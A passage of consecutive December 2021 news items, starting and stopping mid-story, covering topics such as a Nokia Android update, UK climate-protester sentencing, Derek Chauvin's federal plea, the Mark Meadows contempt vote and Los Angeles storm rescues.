and on adjoining roads. Provided your vehicle isn't wider than seven feet, you can access the road. To put this in perspective, seven foot is wider than the entrance to a normal garage. Several thousand cars use this road on a daily basis without any problems so we have no plans to make changes to the posts on Woodmere Avenue unless local councillors ask, through the Joint Member Panel, for alterations to be made. The Watford Borough Council also sniped at the motorists: It is up to each driver, with the knowledge of their vehicle width and the advanced signage, to make a conscious decision on whether or not they have the confidence to go through. There are alternative routes to avoid the restriction. The Woodmere Avenue reminds me of the infamous can-opener bridge in Durham, North Carolina, where tall trucks routinely lose their top owning to the bridges short clearance. [via Oddity Central] If you own the Nokia X20 smartphone, then you are in for a treat. Because the official Android 12 update is now rolling out for the device via OTA. We are in the Christmas season, and it seems like the Finnish company, HMD Global is giving a treat for its Nokia X20 smartphone users with this new Android 12 update. This update also means that we could see more Nokia phones getting updated with Android 12 in the coming weeks. Moreover, this Android 12 update makes the Nokia X20 the first smartphone from HMD Global to receive it. Advertisement Nokia is rolling out the Android 12 update for the Nokia X20 in stages and is already live for users in several regions. According to Nokias community forums (via Nokiapoweruser), Nokia X20 users in 27 countries will be receiving the Android 12 stable update starting from December 17. To read the complete list of regions, you can head over here. Do note that the update is seeding out in waves, and the eligible 27 countries are in Wave 1. Moreover, approved markets will receive the updates in subsequent waves. Advertisement Android 12 update for Nokia X20 also brings November 2021 security patch It goes without saying that this new update brings all the goodies of the latest Android to Nokia X20. However, the sad part is it still carries the November 2021 security patch and not the latest December 2021 patch. The Nokia X20 Android 12 update arrives with build number V2.350 and weighs in at 2.18GB in size. So, we would recommend you download this update over a stable Wi-Fi or mobile data connection to avoid downloading issues. Talking about the features, it adds a Material You user interface, dynamic color support, a new privacy dashboard, universal search, one-handed mode, microphone and camera indicators, approximate location, and more. Advertisement Nokia X20 smartphone owners living in one of the eligible regions can check for the update manually. To do that, you need to head over to Settings > About phone > System updates > Check for updates. The system will check the official servers for update, and if it detects one, your device will begin downloading the Android 12 update on your device. To recall, Nokia launched the X20 back in April this year. It came with Android 11 out of the box. So, the Android 12 update would be the devices first firmware update. Advertisement The good thing about Nokia is that, just like Samsung and OnePlus, the Nokia X20 is guaranteed to receive three years of Android OS updates. This means Nokia X20 will get support till Android 14. As it currently stands the Samsung Galaxy Watch 4 is the only way to get access to Wear OS 3, but a recent posting of emulator images for the stock build might give us an opportunity to see what it will look like on non-Samsung smartwatches. The build of these images was recently posted to the Wear OS subreddit, which was then noticed by Mishaal Rahman. Rahman then shared these images on his Twitter feed. And although the design of things may change between now and when the software is actually available, this appears to be the first look at how Google plans to implement the design for other watch partners. The stock design for Wear OS 3 looks different from the Galaxy Watch 4 If you already have a Galaxy Watch 4, or have at least seen one, you know what Wear OS 3 looks like on that device. Googles stock build of the Wear OS 3 software looks slightly different from that of the Galaxy Watch 4. Advertisement One of the more notable design touches is the gradient styling on options or features that are toggled on in the various menus of the watch. As Mashaal Rahman points out, these help distinguish the enabled features a little better. Aside from helping set them apart, it also adds a little bit of flair and makes things look not so boring or flat. Though, this is more of an opinion. Other changes include a smaller UI for editing tiles, and other minor touches like curved titles for watches faces. Which span in an arc-like design across the top of a watch face preview in that particular menu. Advertisement Wear OS 3 isnt slated to reach other Wear OS smartwatches until sometime in 2022. So its likely to be a while before any watches have this sort of design. For now, the Galaxy Watch 4 remains the only way to officially access the software. At least, on a watch and be able to interact with it. But Google will eventually release the software for additional partners so they push out those updates. This should include the likes of Mobvoi with a few of TicWatch models, as well as Fossil, Fitbit, and others. Advertisement - ROME, DEC 15 - Prosecutors in the Puglia city of Bari are investigating the leaders of the far-right extraparliamentary group Forza Nuova (FN), Roberto Fiore and Giuliano Castellino, on terrorism charges, the newspaper La Repubblica reported on Wednesday. The leaders are under investigation specifically for "training for activities aimed at terrorism, including international" terror, the newspaper wrote. According to investigators, the pair planned to create a new subversive organization "which included Forza Nuova but was not limited to it", linking an "historically organized and politically active movement able to provide structures, personnel and financial resources, like FN" to groups which are "much less or not politically oriented, like the anti-vax movement", the report said. The investigation initially focused on four members of Forza Nuova in Puglia who were probed for "training for terrorism, including international activities", believed to be among the organizers of the Green Pass-protest riot in Rome on October 9 during which the headquarters of the CGIL trade union were ransacked. The four were identified as Bari natives Roberto and Beatrice Falco, aged 53 and 45; Domenico Carlucci, 54, of Foggia; and Brindisi resident Adriano Dagnello, 31. Their homes were searched on November 3, the report said. The four suspects were reportedly in touch with Forza Nuova's national leaders before and during the protest, in particular national leader Fiore and Rome chief Castellino who were both arrested the day after the rioting. Beatrice Falco instead reportedly filmed herself and took selfies while she tried to break into parliament during the rioting "also for propaganda" purposes. Monitoring their social media profiles allowed investigators to ascertain their participation in the protest and the fact that they shared the statement released by Forza Nuova in which the far-right group "explicitly urged to 'raise the level of the conflict'", according to the report. BEIRUT - Cross-border humanitarian aid to Syria remains vital for the local population, the UN Secretary General Antonio Guterres said in a report quoted on Wednesday morning by regional media. The report was drafted by the United Nations ahead of the discussion in the Security Council to renew the mechanism to transfer humanitarian aid from Turkey to north-western Syrian areas outside government control. The mechanism, approved for a period of only six months, expires on January 10. "Cross border assistance remains lifesaving for millions of people in need in north-west Syria", Guterres said in the document, stressing that "over four million people need crucial assistance across the country". Russia and China, allies of the central Syrian government, have so far opposed the proposals of the United States and other European countries to allow the renewal of the six-month mechanism of cross-border aid to go through the Security Council. From 2014 to 2019 the mechanism provided for the use overall of four border crossings, not just two crossings between Turkey and northwestern Syria, but also those between Jordan and southern Syria and between Iraqi Kurdistan and north-eastern Syria. Since 2020, after harsh Russian opposition, three crossings were closed to cross-border transfers and only the passage of Bab al-Hawa, between Turkey and the Syrian region of Idlib, remained open. Finally, until 2019, the mechanism renewed annually and not only every six months. This time reduction was also requested and obtained by Moscow. Negotiations between Russia, the United States and the UN are focusing on the connection of one border crossing with a six-month renewal system. (by Rodolfo Calo) BERENICE (EGYPT) - "Sharm? Well, we have been multiple times. Hurghada? Also. Marsa Alam? Ditto. And Berenice? Where is Berenice?". Pre or post-holiday conversations could play out like this, when talking about Red Sea resorts in Egypt. In fact, along with the most well-known destinations, Berenice is still relatively unknown as the southernmost destination of Egyptian tourism. One hundred kilometers away lies a triangle of desert contested with Sudan. Berenice, surrounded by an exotic aura also as an ancient port city of Roman trade towards India, is currently in a military area that requires special entry permits. It was originally founded in 275 AD by Ptolemy II Philadelphus to honor his mother who carried the name. On the sidelines are an airport and two resorts, but for those coming from Italy one of the easiest solutions is to land in Marsa Alam and get picked up by a driver working for Gorgonia Beach (https://gorgoniabeach.com/), a touristic village owned by entrepreneurs from Verona with Italian-speaking local personnel. The resort is still formally in the territory of Marsa Alam but it is closer to the northern border of the National park of Wadi Gemal. As outlined by the brochure, the natural reserve offers "a spectacular coral barrier populated by 104 species of fish and waterbeds covered by 7,660 hectares of marine plants that constitute the source of nourishment for an important community of dugongs", placid marine mammals at risk of extinction, and "green turtles". Among the dozens of possible excursions, one not to be missed is the "dolphin house" of Sataya reef: a lagoon of cerulean waters and coral banks which is apparently not stressed by mass tourism and climate change. Helped by expert personnel from Gorgonia's diving center, nine out of 10 times it is possible to get just a few meters away from a group of long-beaked common dolphins and swim beside them as they wake up: these small cetaceans use the lagoon to sleep before moving to hunt for fish. They don't like being touched and when someone gets too close they swim away but the few minutes spent swimming with them is worth the trip. The colors of tropical fish are stunning and are particularly easy to observe, also for swimmers who are less expert, in the five "natural pools" created by corals in front of Gorgonia's beaches: from the bizarre "Picasso" fish to the "round-nosed parrot", to the "surgeonfish", the fauna of the Red Sea can be discovered thanks to snorkeling. Swimsuits will dry up in no time thanks to the sun of southern Egypt (on average 17-20 degrees Celsius between December and November, with wicker screens around sunbeds because winds are often strong). The park of Wedi Gemal is also a destination for tourists who want to see the largest population of gazelles of the entire eastern desert of Egypt, or white herons, ospreys, and "Ruppell's fox". A cultural-ethnographic dimension is lent by Ababda Bedouins who are an attraction for tourists fascinated by their traditions like the "khisha" tent and their spiced coffee served in the "jabana". An Insulate Britain campaigner said she was surprised but glad after judges gave seven demonstrators suspended prison sentences following M25 protests. Nine protesters were give prison sentences for admitting breaching an injunction, and being in contempt of court, at a High Court hearing in London. But Lord Justice Dingemans and Mr Justice Johnson gave only two immediate jail terms. Insulate Britain said the leniency of the sentences was in contrast to immediate jail terms handed to protesters by judges a month ago. Police officers detain a protester in November at an Insulate Britain roadblock near to the South Mimms roundabout at the junction of the M25 and A1 (PA) Rev Sue Parfitt, 79, from Bristol, was one of seven protesters given a suspended jail terms. I think we are surprised that seven of the sentences were suspended but we are glad, she told PA news. I think it shows as things move on the idea of sending peaceful protesters to prison is a nonsense. An Insulate Britain spokesman added: The leniency of the sentences was in contrast to the jail terms of between three and six months handed out to the first group of people from Insulate Britain, convicted on November 17th. Insulate Britain said protests would continue. Lord Justice Dingemans and Mr Justice Johnson handed down sentences on Wednesday after National Highways took legal action against protesters. They handed prison sentences, one of two months and one of 30 days, to two protesters, while the seven others received two-month suspended jail terms. Judges also ordered defendants to pick up tens of thousands of pounds of National Highways legal bills. National Highways claimed the protesters had breached an injunction and were in contempt of court. Lord Justice Dingemans said each protester had accepted they had breached a court order and were in contempt. The two judges heard that Insulate Britain had organised protests which disrupted and obstructed the M25 on several days in September. A judge had subsequently made an order barring protesters from staging protests on the M25. Further protests had taken place in October, Lord Justice Dingemans and Mr Justice Johnson heard. Protesters had made impassioned speeches seeking to justify forming human roadblocks. The protesters said they were compelled to act to highlight Britains so-called leaky homes. Rev Parfitt had asked: Wasnt it worth me sitting on the motorways to flag (our) message, and to interrupt peoples lives for an hour or so, in order to protect our children? Protesters were ordered to pick up National Highways legal bills of between 500 and 6,000. Insulate Britain said that costs bill totalled 39,000. Judges imposed the following prison terms: Dr Diana Warner, 62, from Bristol, was given a two-month prison term. Dr Ben Buse, 36, from Bristol, was given a 30-day term. Insulate said Dr Buse had served 28 days of a four-month sentence, imposed after an earlier contempt allegation, and had been ordered to serve a further 30 days consecutively. Seven others were given two-month suspended terms. They were: Biff Whipster, 54, from Canterbury, Kent; Paul Sheeky, 46, from Warrington, Cheshire; Richard Ramsden, 75, from Halifax, West Yorkshire; Ruth Jarman, 58, from Hook, Hampshire; Steve Gower, 54, from Gloucester; Steven Pritchard, 62, from Radstock, Somerset; and Rev Parfitt. US civil rights activist Jesse Jackson has been sworn in as an honorary fellow of a Cambridge University college. Lord Woolley, principal of Homerton College, said that the move by civil rights icon Reverend Jackson will encourage others to be part of Homertons extraordinary journey, to nurture the next generation of global leaders. Rev Jackson, 80, fought for civil rights alongside Martin Luther King Jr in the 1960s. Born in Greenville, South Carolina, in 1941, he was ordained as a Baptist minister in 1968. US civil rights activist Reverend Jesse Jackson has been made an honorary fellow of Cambridges Homerton College. He is pictured with the colleges principal Lord Woolley (David Johnson/ PA) He was twice a candidate for the Democratic Partys presidential nomination, in 1984 and 1988. Lord Woolley, who is also an equalities campaigner and the founder of Operation Black Vote, became the first black man to lead a college at Cambridge or Oxford after taking up his post in October. He said: As Principal of Homerton, inducting Reverend Jesse Jackson into the College community is indeed a great honour. Homerton College, within Cambridge University, seeks to have an international presence as a champion for human rights and embracing diversity. As such, having a civil rights icon such as Reverend Jackson as an honorary fellow will encourage others to be part of Homertons extraordinary journey, to nurture the next generation of global leaders. Last month, the Prince of Wales said while visiting the college that promoting greater inclusion and diversity has always been a subject close to my heart, and he has tried to support it for much of my life. Nicola Sturgeon has said the UK Governments offer of 220 million to help Scotland in the fight against the coronavirus has left the country millions of pounds worse off. Following a Cobra meeting on Wednesday, HM Treasury announced a total of 430 million of additional funding from the UK Reserve will be made available to the governments in Scotland, Wales and Northern Ireland to progress their vaccine rollout with Omicron cases on the rise. Additional in-year Barnett funding the formula used by the Treasury to automatically adjust the amounts of public expenditure allocated to the devolved nations will not be confirmed until early 2022, the Treasury added. Ms Sturgeon took aim at the UK Government, saying the money is not what the Treasury claims is additional funding, but is instead cash being brought forward from money we were expecting in January and had already budgeted for. Update on this: 1/ As feared, this is not additional money it is being brought forward from money we were expecting in January and had already budgeted for. But its actually more concerning than than that https://t.co/mGrOaZibmc Nicola Sturgeon (@NicolaSturgeon) December 15, 2021 In a tweet the First Minister said Scotland will be 48 million worse off next year as a result. She added: The net effect of yesterdays Treasury announcement appears to be that the Scottish Government is 48m worse off than we thought we were before the announcement. The total we were expecting in January was 268m. There is though a more fundamental point. Each of the four UK governments is responsible for protecting public health in their own country. But only when UK Government takes decisions for England is funding triggered, leaving the rest of us trying to protect health with one hand tied. Ahead of the funding statement Ms Sturgeon branded the UK Governments announcement to provide extra cash as Treasury smoke and mirrors. She also insisted Scotlands response to the pandemic had been curtailed by a lack of cash. Following the Cobra meeting on Wednesday, Scotlands Finance Secretary Kate Forbes wrote to Chancellor Rishi Sunak urging more action needs to be taken to deal with the impact of the Omicron variant. She described the 220 million sum as entirely inadequate in the face of cases rising sharply across the country. I am concerned that the current total of 220 million does not represent additional funding, as it essentially covers two items the Scottish Government had been previously notified of or represents anticipated funding related to pre-Omicron levels of Covid, she said. Indeed, not only is this funding quite clearly not additional, given 268 million of consequentials had been anticipated and largely budgeted for, the net effect of the announcement yesterday is to reduce our ability to fund public health measures not increase it. More fundamentally, it is not a tenable position that funding is only triggered in relation to public health decisions in England. This directly inhibits our ability to protect jobs, lives and the NHS. She added: Without appropriate additional funding provided now, we will not be able to take decisions to protect public health and the wider economy at this critical juncture when we are trying to both slow the spread of the new variant and provide the financial support necessary to allow that. In response, a UK Government spokesperson said: We are giving the devolved administrations the certainty they need to spend more money in the coming weeks exactly as they have asked for. The usual practice would be to wait for confirmed additional Barnett funding in the new year. This money is additional to the Devolved Administrations annual funding as confirmed at the Autumn Budget. We continue to engage with the Scottish Government in the face of this serious health crisis. FILE - Republican John Warren participates in a gubernatorial primary debate at the University of South Carolina in Columbia, S.C., on June 5, 2018. The multimillionaire businessman who forced South Carolina Gov. Henry McMaster into a 2018 GOP runoff has started a Bitcoin mining company. Warren on Wednesday, Dec. 15, 2021, launched GEM Mining, to be headquartered in Greenville, S.C. (Grace Beahm Alford/The Post And Courier via AP, File) COLUMBIA, S.C. (AP) John Warren the multimillionaire businessman who forced South Carolina Gov. Henry McMaster into a GOP runoff has been mining bitcoins while leaving the door open for a return to politics. Warren announced his investment in GEM Mining on Wednesday. He and four other founding partners, all in South Carolina, decided to form the venture last year as the Bitcoin marketplace began booming, Warren told The Associated Press ahead of the official launch. We saw huge opportunities with our connections to mining, Warren told AP. He said the Greenville-based company will be the largest of its kind in South Carolina, and that he hopes it will soon be among the top handful in the country. Warren said GEM has raised more than $200 million in institutional capital from banks, hedge funds, endowments and pension funds to operate more than 32,000 machines to mine Bitcoin, the world's largest cryptocurrency. Over 9,000 of the machines are currently operational, mining more than 400 bitcoins in the past nine months. Profitable since February, GEM said its November reported revenue was $7.8 million. Miners are specialized computing centers that create bitcoins by solving computational puzzles. Mining operations also maintain the transactions ledger upon which Bitcoin is based, verifying the trustworthiness of the blockchain system. A criticism lobbed at cryptocurrencies is how much electricity they devour. Warren's company said its operations are 92% carbon neutral. This is the first business venture for Warren since selling Lima One Capital, the specialty mortgage firm he founded, in 2019. Warren leveraged more than $3 million of his own money to fund his 2018 gubernatorial campaign, which catapulted him from political anonymity to second-place finisher in a four-way GOP primary. Even though he'd entered the race just months before the primary, Warren netted the endorsements of two of the also-rans before narrowly losing to McMaster in a contentious runoff. That campaign sprint included a last-minute trip from President Donald Trump to stump for McMaster, who as lieutenant governor had been the first statewide-elected politician in the country to back Trump's 2016 White House bid. McMaster ultimately won by a single-digit margin. Some have speculated that Warren would challenge McMaster in a rematch next year. Warren launched a political action committee last year, a vehicle often used as the springboard for a political run. His South Carolina's Conservative Future PAC supported a handful of legislative races, with Warren then telling AP he hoped to recruit conservative, capable and courageous candidates for state House and Senate races and make independent expenditures to further those campaigns. Ultimately, the PAC claimed victory in 13 out of the 15 races in which it got involved. Warren told AP his PAC will play a very, very large role in next years elections, especially with superintendent of education and several House races." As for the governor's race, he said he had "no comment. ___ Meg Kinnard can be reached at http://twitter.com/MegKinnardAP. WASHINGTON (Reuters) -A U.S. judge on Tuesday dismissed a bid by former President Donald Trump to keep his tax returns from a House of Representatives committee. U.S. District Judge Trevor McFadden said in his ruling that Trump was "wrong on the law" in seeking to block the House Ways and Means Committee from obtaining his tax returns. McFadden, who also said it was within the power of the committee's chairman to publish the returns if he saw fit, put his ruling on hold for 14 days, allowing time for an appeal. Trump was the first president in 40 years not to release his tax returns as he aimed to keep secret the details of his wealth and the activities of his family company, the Trump Organization. The committee sued in 2019 to force disclosure of the tax returns, and the dispute lingers nearly 11 months after Trump left office. (Reporting by Eric Beech; Editing by Tim Ahmann and Peter Cooney) ST. PAUL, Minn. (AP) Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to a federal charge of violating George Floyds civil rights, averting a trial but likely extending the time he is already spending behind bars on a state conviction. Chauvin, who is white, was convicted this spring of state murder and manslaughter charges for pinning his knee against Floyds neck during a May 25, 2020, arrest as the Black man said he couldnt breathe Chauvin was sentenced to 22 1/2 years in that case. The federal charge alleged that Chauvin deprived Floyd of his rights by kneeling on his neck as he was handcuffed and not resisting. Chauvin appeared in person Wednesday for the change of plea hearing in an orange short-sleeve prison shirt and was led into and out of the court in handcuffs. He said Guilty, your honor to confirm his pleas in Floyd's death and an unrelated 2017 case, and acknowledged that he was guilty of the acts alleged. With parole and presuming good behavior, Chauvin is expected to actually serve about 15 years of his state sentence behind bars. Any federal sentence would run at the same time as the state sentence, and defendants serve about 85 percent of federal sentences presuming good behavior. That means if the judge gives Chauvin the maximum 25 years requested, he would likely serve about six years and three months beyond his state sentence. Judge Paul Magnuson didnt set a date for sentencing. Three other former officers Thomas Lane, J. Kueng and Tou Thao were indicted on federal charges alongside Chauvin earlier this year. They are still on course for trial early next year on those charges, with a state trial still to come. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide calling for an end to racial inequality and police mistreatment of Black people. As part of the plea deal, Chauvin also pleaded guilty to violating the rights of a then-14-year-old boy during a 2017 arrest in which he held the boy by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was prone, handcuffed and not resisting. Several members of Floyd's family were present, as was the then-teenager involved in the 2017 arrest, according to a pool reporter. As they left the courtroom, Floyd's brother Philonise said to Chauvin's 2017 victim: Its a good day for justice. Nine people appeared to support Chauvin, including family members. He waved and smiled at them as he entered and left the courtroom, according to the pool report. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide that called for an end to racial inequality and police mistreatment of Black people. To bring federal charges in deaths involving police, prosecutors must believe an officer acted under the color of law, or government authority, and willfully deprived someone of their constitutional rights. Thats a high legal standard. An accident, bad judgment or simple negligence on the officers part isnt enough to support federal charges. Prosecutors have to prove the officer knew what he was doing was wrong in that moment but did it anyway. According to evidence in the state case against Chauvin, Kueng and Lane helped restrain the 46-year-old Floyd as he was on the ground Kueng knelt on Floyds back and Lane held down Floyds legs. Thao held back bystanders and kept them from intervening during the 9 1/2-minute restraint. All four former officers were charged broadly in federal court with depriving Floyd of his rights while acting under government authority. In the 2017 case involving the then-14-year-old boy, Chauvin is charged with depriving the boy, who was handcuffed and not resisting, of his right to be free of unreasonable force when he held him by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was in a prone position. According to a police report from that 2017 encounter, Chauvin wrote that the teen resisted arrest and after the teen, whom he described as 6-foot-2 and about 240 pounds, was handcuffed, Chauvin used body weight to pin him to the floor. The boy was bleeding from the ear and needed two stitches. That encounter was one of several mentioned in state court filings that prosecutors said showed Chauvin had used neck or head and upper body restraints seven times before dating back to 2014, including four times state prosecutors said he went too far and held the restraints beyond the point when such force was needed under the circumstances. The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. ___ This story has been corrected throughout to show that Chauvin plea in Floyd's death was to a single charge, with a second count dismissed. ___ Find APs full coverage of the death of George Floyd at: https://apnews.com/hub/death-of-george-floyd WASHINGTON White House medical adviser Dr. Anthony Fauci said Wednesday that the new Omicron strain of the coronavirus would not require a variant-specific booster, which would have meant a fourth dose of the vaccine for some Americans. "Our booster vaccine regimens work against Omicron, Fauci said at a press briefing of the White House pandemic response team. At this point, there is no need for a variant-specific booster." His comments clarified questions about what being fully vaccinated may mean in the coming weeks and months, as the new, more transmissible Omicron variant sweeps across the nation. Dr. Anthony Fauci speaks about the Omicron coronavirus variant during a White House press briefing on Dec. 1. (Kevin Lamarque/Reuters) So far, full vaccination has meant two shots of an mRNA vaccine manufactured by Pfizer or Moderna, or a single shot of the Johnson & Johnson vaccine, which does not use the relatively new mRNA biotechnology. But some epidemiologists, including Fauci, have conceded that a third shot would eventually be necessary to constitute full vaccination. The arrival of Omicron made some wonder if it would require a booster shot of its own, since it has a high number of mutations. And whether, more broadly, every new strain would involve a scramble for new vaccines, instead of vaccinations serving as an end to the pandemic, as many thought they were bound to be. The latest on the Omicron variant Fauci, in his remarks on Wednesday, touted studies that show Omicron evading a two-dose vaccine regime well but faring poorly against a booster shot. Boosters reconstitute immune defenses and provide enhanced vaccine protection, he said, especially when it comes to severe disease, which seems to be less frequent with the Omicron variant in the first place. Encouraging news about the new strains virulence comes as Omicron moves swiftly to overtake the Delta variant. Because the newer variant appears to spread quickly but sicken mildly, some have argued that its presence is a potentially auspicious development. Public health officials are not eager to test out that premise in a nation where only 17 percent of the population is fully protected with a booster shot. Israel has been debating a fourth vaccine shot, though the Health Ministry there rejected that idea. A man gets his COVID-19 vaccination at an outdoor walk-up site in Washington, D.C. (Jim Watson/AFP via Getty Images) Speaking at the same briefing as Fauci, Dr. Rochelle Walensky, director of the Centers for Disease Control and Prevention, revealed that the variant has now been detected in 36 states. "We expect to see the proportion of Omicron cases here in the United States continue to grow in the coming weeks, she said, even though it still represents only 3 percent of all new cases. Even so, pandemic response team coordinator Jeff Zients vowed that the Biden administration would not push for the kinds of crippling lockdowns and closures that marked most of 2020 and much of 2021. We know how to keep our kids in school and our businesses open, he said, reiterating what President Biden said last week. And were not going to shut down our economy in any way, Zients continued. We are going to keep our schools and our businesses open. Taken together, the words of the top three pandemic-focused officials in the Biden administration outlined a strategy for the coming weeks, one that avoids the pessimism of 2020 but is also more restrained than the optimistic messaging of early summer. That strategy is predicated on making boosters universally available (children between the ages of 5 and 11 are eligible for vaccination but not yet booster shots) while also pushing for public and private institutions to stay open as infection rates continue to climb and some argue for new restrictions. The administration believes that between the availability of rapid tests and vaccines, and the advent of highly effective therapeutics that prevent death and serious illness, public risk is low enough to obviate the need for new restrictions. It would like to enforce a vaccine mandate for private employers, but legal challenges have stalled that effort. With the politics of the coronavirus pandemic remaining as fraught as ever, Biden must manage not only a genuine public health crisis but also one of mounting frustration, which his stagnating approval numbers appear to reflect. His vaccine mandates are snarled in court, while Republicans have used challenges to masking as a broader resistance to his authority. Colorado Gov. Jared Polis. (David Zalubowski/AP) The White House may never say so, but it is clearly coming to favor the thinking of Colorado Gov. Jared Polis, who recently said it was not worth inconveniencing all the states residents with a new mask mandate just because some refuse to get vaccinated. The vaccines remain exceptionally good at keeping people out of hospitals, yet some people have ideological or religious reasons for refusing the shot. Everybody had more than enough opportunity to get vaccinated, Polis said last week in refusing to impose a new mask mandate for the entire state. The mayor of Washington, D.C., similarly held firm against reinstituting a mask mandate for the district in November, arguing that the vaccinated were safe from severe illness. White House press secretary Jen Psaki has discounted how Polis spoke of the unvaccinated Its really your own darn fault, he said of unvaccinated people who fall ill but not necessarily his argument. Biden himself, after all, had expressed the same sentiment earlier this fall, and not much more gently. Weve been patient, but our patience is wearing thin, he told the unvaccinated in early September. The vaccination rate has not risen nearly as much as the Biden administration had hoped, meaning that another pandemic winter is in the works. It is a grim reality, one that like every aspect of the pandemic is loaded with political significance. The White House has recently said it holds Republicans responsible for the pandemics persistence. With a season of travel and large gatherings having begun, elected officials across the nation are laboring to avoid a repetition of last winters surge, aware that the political consequences could be crippling. Instead of preparing to shut down once more, they are trying to figure out how to live with the virus. The House voted to hold former White House Chief of Staff Mark Meadows, pictured here in 2020, in contempt of Congress. (Alex Brandon / Associated Press) The House voted on Tuesday to hold former White House Chief of Staff Mark Meadows in contempt of Congress for refusing to cooperate with a special committee investigating the Jan. 6 Capitol riot, setting the stage for possible criminal prosecution of an advisor to former President Trump. The vote, 222 to 208, was the second time in recent months that the House had held a former Trump advisor in contempt, and it was the first time since the 1830s that the chamber had leveled such a sanction on one of its former members. Two Republicans joined all Democrats present in voting for the measure. "Mr. Meadows is a central participant and witness to the events of Jan. 6," Rep. Adam B. Schiff (D-Burbank), a member of the House committee investigating the insurrection, said before the contempt vote. "If he can get away with ignoring the law, and witnesses summoned before Congress can merely pick and choose when they comply, our power of oversight will be gone." The contempt vote came a month after the House took the same action against Stephen K. Bannon, alleging the the Trump confidant and former White House advisor had refused to comply with the House committee's subpoena for information and testimony. Bannon was indicted by a federal grand jury last month on two charges of contempt of Congress. He is set to go on trial in July. The House action against Meadows followed a 9-0 contempt vote on Monday by the House Select Committee to Investigate the Jan. 6 Attack on the U.S. Capitol. Lawmakers on the panel said Meadows initially provided 9,000 pages of records before refusing to provide more records or show up for a deposition last week. They said Meadows is uniquely positioned to provide information to discuss the role Trump and the White House played in inciting the riot and responding to it. Weve given Mr. Meadows every opportunity to cooperate with our investigation," Rep. Bennie Thompson (D-Miss.), chairman of the House panel, said Tuesday. "Weve been more than fair. Hes brought this situation on himself. But there is no doubt in my mind that hes in contempt of Congress and has to be held accountable." Republican House members countered that Democrats were pursuing the contempt charges for partisan reasons. Just two of the nine Republicans who voted to hold Bannon in contempt did so on Tuesday. Meadows served as a GOP House member from 2013 through 2020, when he took over as Trump's chief of staff. "He is a good man, and he's my friend. This is as wrong as it gets," Rep. Jim Jordan (R-Ohio) said before the vote. "Your lust for power, your lust to get your opponents is so intense that you don't care." Meadows' attorney, George Terwilliger III, has asserted that the former White House advisor cannot comply with the subpoena for two major reasons. As a former top presidential advisor, Meadows shouldn't be compelled to testify before Congress because it might result in staffers wary of providing candid advice to presidents. He also said Meadows did not wish to undermine Trump's assertion of executive privilege, a legal doctrine that has allowed presidents to withhold certain confidential communications from public disclosure. Meadows has fully cooperated as to documents in his possession that are not privileged and has sought various means to provide other information while continuing to honor the former presidents privilege claims," Terwillger said in a statement Tuesday before the vote. Citing executive privilege, Trump has sought to block the National Archives from turning over his White House records to the House committee. His case suffered a major setback last week when a federal appeals court rejected his arguments, setting the stage for those documents to be given to Congress if the U.S. Supreme Court declines to intervene. The House panel, which has two Republicans, has interviewed more than 300 witnesses and subpoenaed more than 40 people as it seeks to paint a clearer picture of the days violence and what contributed to it. Goaded on by Trump's months-long, falsehood-filled campaign that the 2020 election had been stolen, hundreds of his supporters stormed the Capitol on Jan. 6, hoping to block the certification of President Biden's electoral college victory. The melee contributed to five deaths and the injuries of scores of police officers. More than 700 people have been charged by federal prosecutors in the riot. Rep. Liz Cheney (R-Wyo.), the panel's vice chair, said the committee wants to question Meadows about incidents that are not covered by executive privilege. In particular, she said, lawmakers want to learn more about Meadows' role in a phone call in January between Trump and Georgia elections officials. During the call, the former president urged a Georgia elections official to "find 11,780 votes" to change the result of the election in Georgia. Cheney she would also like to explore Meadows' dealings with Justice Department officials and a member of Congress about Trump's desire to replace his acting attorney general with an official who would help him press his baseless fraud claims. In a dramatic moment before the committee's vote Monday, Cheney read aloud from text messages Meadows received from Fox News personalities and one of Trump's sons, all urging him to take action to convince Trump to stop the violence. Hes got to condemn this s ASAP. The Capitol police tweet is not enough, Donald Trump Jr. texted Meadows, according to Cheney. "Im pushing it hard. I agree," Meadows replied. Laura Ingraham, a Fox News host, texted Meadows: Mark, the president needs to tell people in the Capitol to go home, this is hurting all of us. This is destroying his legacy. Sean Hannity, another Fox host, texted Meadows: Can he make a statement? Ask people to leave the Capitol. Cheney said such text messages "are further evidence of President Trumps supreme dereliction of duty." "Mr. Meadows' testimony will bear on another key question before this committee: Did Donald Trump, through action or inaction, corruptly seek to obstruct or impede Congress official proceeding to count electoral votes?" she said. "Mark Meadows' testimony is necessary to inform our legislative judgments." Times staff writer Jennifer Haberkorn contributed to this report. This story originally appeared in Los Angeles Times. Rain, wind and snow pound the Southland. (Los Angeles Times) As Tuesday's powerful storm pounded Southern California, firefighters plucked a man from the Los Angeles River and searched for other possible victims, while emergency crews in Orange County rescued homeowners trapped by mudslides. Around 7:50 a.m., fire dispatchers received a call from a man who had been swept into a small tributary of the L.A. River in Sylmar, the Los Angeles Fire Department said. Usually shallow, gentle streams, the river and its offshoots were transformed by the storm into torrents. The man was carried about half a mile and into a tunnel that runs underground near Dronfield Avenue and Hubbard Street, said Nicholas Prange, spokesman for the Los Angeles Fire Department. In the darkness, he managed to grab an object to stop himself from being swept further downstream, Prange said. "He was still on the phone with dispatchers who were relaying the message on the radio," Prange said. Sounding the fire engine's horn to alert the man to their location, the rescue team checked one maintenance hole after the next until finding him. After he was pulled to safety, the man was treated him for scrapes, cuts, bruises and hypothermia, Prange said. How he was caught in the river was not immediately clear. Earlier Tuesday morning, bystanders reported a rollover crash on North Main Street in Chinatown near the L.A. River, according to the fire department. Within minutes, fire crews realized the vehicle had fallen into the swollen, fast-moving river and swept away, Prange said. Firefighters took up positions at bridges downstream as a helicopter flew in search of the vehicle and possible occupants. After two hours, crews spotted the vehicle pinned beneath the Washington Boulevard bridge near Soto Street in South Los Angeles, about four miles downstream, Prange said. No victims were found. Shortly afterward, firefighters saw a second car being carried by the river's suddenly powerful current. As the water continued to rise, both vehicles became pinned against the bridge's footing. An hour later, a third vehicle, a gray Toyota Camry, ripped past the bridge and continued downstream into Long Beach, where it eventually came to rest, fully submerged, at the center of the river near Wardlow Road, said Capt. Jack Crabtree, spokesman for Long Beach fire. Firefighters planned to let the waters subside before trying to pull the vehicles out of the river. It was unclear how the vehicles entered the river and whether they were operating or parked before being swept 